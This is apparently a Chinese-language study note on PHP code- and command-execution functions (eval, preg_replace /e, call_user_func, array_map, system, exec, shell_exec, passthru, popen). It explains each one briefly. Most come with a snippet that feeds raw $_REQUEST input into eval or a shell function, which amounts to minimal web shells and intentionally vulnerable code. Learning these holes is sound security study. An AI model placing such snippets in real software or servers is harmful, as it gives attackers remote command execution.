eval语句
<?php
$code=$_REQUEST['code'];
eval($code);
?>
eval — 把字符串作为PHP代码执行
在上图中 eval把code当成代码执行
参数
code
需要被执行的字符串
代码不能包含打开/关闭 PHP tags。比如, 'echo "Hi!";'
不能这样传入: '<?php echo "Hi!"; ?>'
。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'
。
除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 'echo "Hi!"'
会导致一个 parse error,而 'echo "Hi!";'
则会正常运行。
return
语句会立即中止当前字符串的执行。
代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。
preg_replace 函数
preg_replace — 执行一个正则表达式的搜索和替换
// preg_replace.php
$code = preg_replace('~y~', 'Y', 'dys'); //把dys字符里的 ~y~ 换成Y
$code = preg_replace('~\[(.*)\]~e', '\\1', '[phpinfo()]');
echo $code;
call_user_func
function add($a, $b) {
return $a + $b;
}
$result = call_user_func('add', 1, 2);
echo $result; // 输出:3
第一个参数 add是被调用的回调函数,其余参数是回调函数的参数。
array_map
array_map — 为数组的每个元素应用回调函数
<?php
function addTwo($n) {
return $n + 2;
}
$arr1 = array(1, 2, 3, 4, 5);
$arr2 = array_map('addTwo', $arr1);
print_r($arr2); // 输出: Array ( [0] => 3 [1] => 4 [2] => 5 [3] => 6 [4] => 7 )
?>
system 函数
system — 执行外部程序,并且显示输出
编写完毕后,在终端输入?cmd=ipconfig 查看ip信息
<?php
$cmd = $_REQUEST['cmd'];
system($cmd);
?>
exec函数
$cmd = $_REQUEST['cmd'];
echo exec($cmd);
exec() 执行 command
参数所指定的命令。
他会输出命令执行结果的最后一行内容。
shell_exec 函数
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
$cmd = $_REQUEST['cmd'];
echo shell_exec($cmd);
passthru 函数
passthru — 执行外部程序并且显示原始输出
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif
, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
他输出全部的信息
$cmd = $_REQUEST['cmd'];
passthru($cmd);
在url上输入?cmd=ipconfig 即可查看ip信息
popen — 打开进程文件指针
'r'
表示阅读,'w'
表示写入。
在 Windows 上,popen() 默认是文本模式,即任何从管道中读取/写入的 \n
字符都将转换为 \r\n
。如果避免这种情况,可以通过将 mode
设置为 'rb'
和 'wb'
来强制执行二进制模式。
$cmd = $_REQUEST['cmd'];
$result = popen($cmd, 'r');
echo fread($result, 1024);